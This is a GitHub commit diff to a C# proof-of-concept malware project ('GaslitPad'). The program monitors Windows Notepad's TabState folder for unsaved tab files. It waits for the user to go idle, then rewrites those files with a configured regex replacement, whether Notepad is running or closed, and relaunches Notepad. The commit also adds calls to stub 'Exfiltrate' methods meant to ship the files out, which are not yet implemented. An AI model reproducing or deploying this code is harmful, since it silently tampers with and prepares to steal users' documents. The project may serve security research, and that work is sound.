Skip to content

Commit 3ea02d8

Browse files
committed
GaslitPad update
1 parent 3b5ab21 commit 3ea02d8

File tree

2 files changed

+69
-25
lines changed

2 files changed

+69
-25
lines changed
Lines changed: 31 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
using System;
2+
using System.Collections.Generic;
3+
using System.Linq;
4+
using System.Text;
5+
using System.Threading.Tasks;
6+
7+
namespace GaslitPad
8+
{
9+
public static class Exfiltrate
10+
{
11+
public static void SendFiles(string directory, List<string> filePaths)
12+
{
13+
//TODO:
14+
}
15+
16+
public static void SendFile(string filePath)
17+
{
18+
//TODO:
19+
}
20+
21+
public static void SendChanges(string filePath)
22+
{
23+
//TODO:
24+
}
25+
26+
public static void DeletedFile(string filePath)
27+
{
28+
29+
}
30+
}
31+
}

NotepadStateLibrary/POCMalware/Program.cs

Lines changed: 38 additions & 25 deletions
Original file line numberDiff line numberDiff line change
@@ -15,22 +15,33 @@
1515
bool isNotepadRunning = false;
1616
//LOL Error checking?
1717
int idleWaitTime = Int32.Parse(ConfigurationManager.AppSettings["idleWaitTime"]); // idle wait time before attack
18-
int pollingInterval = Int32.Parse(ConfigurationManager.AppSettings["pollingInterval"]); // polling interval
18+
int pollingInterval = Int32.Parse(ConfigurationManager.AppSettings["pollingInterval"]); // polling interval. Should we have a different rate for checking Notepad running?
1919
string directoryToMonitor = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), @"Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\TabState");
2020

21-
//TODO: Make this a list or something of attack target parameters
21+
//TODO: Future: Make this a list or something of attack target parameters
2222
//LOL Error checking?
23-
int attackVersion = Int32.Parse(ConfigurationManager.AppSettings["attackVersion"]); //0 attack when Notepad is open, 1 attacks when Notepad is closed
23+
int attackVersion = Int32.Parse(ConfigurationManager.AppSettings["attackVersion"]); //0 Active Attack, 1 Sleep Attack
2424
string attackFileName = ConfigurationManager.AppSettings["attackFileName"];
2525
string attackRegex = ConfigurationManager.AppSettings["attackRegex"];
2626
string attackReplace = ConfigurationManager.AppSettings["attackReplace"];
2727
bool attackDone = false;
2828

2929

30+
// Get the current state of the directory (file names and their hashes)
31+
var currentFileState = new Dictionary<string, string>();
32+
foreach (var file in Directory.GetFiles(directoryToMonitor))
33+
{
34+
var fileName = Path.GetFileName(file);
35+
var fileByteLength = GetFileByteLength(file);
36+
currentFileState[fileName] = fileByteLength;
37+
}
38+
//TODO: Future: Ship out files
39+
Exfiltrate.SendFiles(directoryToMonitor, currentFileState.Keys.ToList()); //This is not right. I need the full path
40+
3041
if (attackVersion == 0)
3142
{
3243
// Dictionary to store file information: file name -> file length to detect changes
33-
var previousFileState = new Dictionary<string, string>();
44+
var previousFileState = currentFileState;
3445

3546
Thread monitorThread = new Thread(MonitorNotepad);
3647
monitorThread.IsBackground = true; // Set as background thread so it terminates when the app closes
@@ -42,27 +53,16 @@
4253
// Start a loop to check the directory every few seconds
4354
while (true)
4455
{
45-
// Wait for the next polling interval
46-
Thread.Sleep(pollingInterval);
47-
4856
Console.WriteLine(InputTimer.GetInputIdleTime().TotalSeconds.ToString());
4957

50-
// Get the current state of the directory (file names and their hashes)
51-
var currentFileState = new Dictionary<string, string>();
52-
foreach (var file in Directory.GetFiles(directoryToMonitor))
53-
{
54-
var fileName = Path.GetFileName(file);
55-
var fileByteLength = GetFileByteLength(file);
56-
currentFileState[fileName] = fileByteLength;
57-
}
58-
5958
// Check for newly added files
6059
var addedFiles = currentFileState.Keys.Except(previousFileState.Keys);
6160
foreach (var addedFile in addedFiles)
6261
{
6362
Console.WriteLine($"File created: {addedFile}");
6463
Console.WriteLine(isNotepadRunning.ToString());
65-
//TODO: Future
64+
//TODO: Future: Ship out new files
65+
Exfiltrate.SendFile(Path.Combine(directoryToMonitor, addedFile));
6666
}
6767

6868
// Check for deleted files
@@ -71,7 +71,8 @@
7171
{
7272
Console.WriteLine($"File deleted: {deletedFile}");
7373
Console.WriteLine(isNotepadRunning.ToString());
74-
//TODO: Future
74+
//TODO: Future: Alert on deleted file
75+
Exfiltrate.DeletedFile(Path.Combine(directoryToMonitor, deletedFile));
7576
}
7677

7778
// Check for modified files (files that exist in both, but with different lengths)
@@ -82,7 +83,8 @@
8283
{
8384
Console.WriteLine($"File modified: {modifiedFile}");
8485
Console.WriteLine(isNotepadRunning.ToString());
85-
//TODO: Future
86+
//TODO: Future: ship out changes
87+
Exfiltrate.SendChanges(Path.Combine(directoryToMonitor, modifiedFile)); //TODO: This should really just exfiltrate the unsavedbufferchunks
8688
}
8789

8890
// Update the previous file state for the next iteration
@@ -99,22 +101,33 @@
99101
}
100102
OpenNotepad();
101103
}
104+
102105
// Check for user input to exit
103-
if (Console.KeyAvailable && Console.ReadKey(intercept: true).Key == ConsoleKey.Q)
106+
if ((Console.KeyAvailable && Console.ReadKey(intercept: true).Key == ConsoleKey.Q) || attackDone)
104107
{
105108
break;
106109
}
110+
111+
// Wait for the next polling interval
112+
Thread.Sleep(pollingInterval);
113+
114+
//Refresh list of current files
115+
currentFileState = new Dictionary<string, string>();
116+
foreach (var file in Directory.GetFiles(directoryToMonitor))
117+
{
118+
var fileName = Path.GetFileName(file);
119+
var fileByteLength = GetFileByteLength(file);
120+
currentFileState[fileName] = fileByteLength;
121+
}
107122
}
108123
}
109124
else
110125
{
111126
while (true)
112127
{
113-
Thread.Sleep(pollingInterval);
114-
115128
if (Process.GetProcessesByName("notepad").Count() == 0)
116129
{
117-
var currentFileState = new Dictionary<string, string>();
130+
currentFileState = new Dictionary<string, string>();
118131
foreach (var file in Directory.GetFiles(directoryToMonitor))
119132
{
120133
var fileName = Path.GetFileName(file);
@@ -133,6 +146,8 @@
133146
{
134147
break;
135148
}
149+
150+
Thread.Sleep(pollingInterval);
136151
}
137152
}
138153

@@ -234,5 +249,3 @@ void Attack(string path, string fileName, string replace, string regexFind)
234249
attackDone = true;
235250
}
236251
}
237-
238-

0 commit comments

Comments
 (0)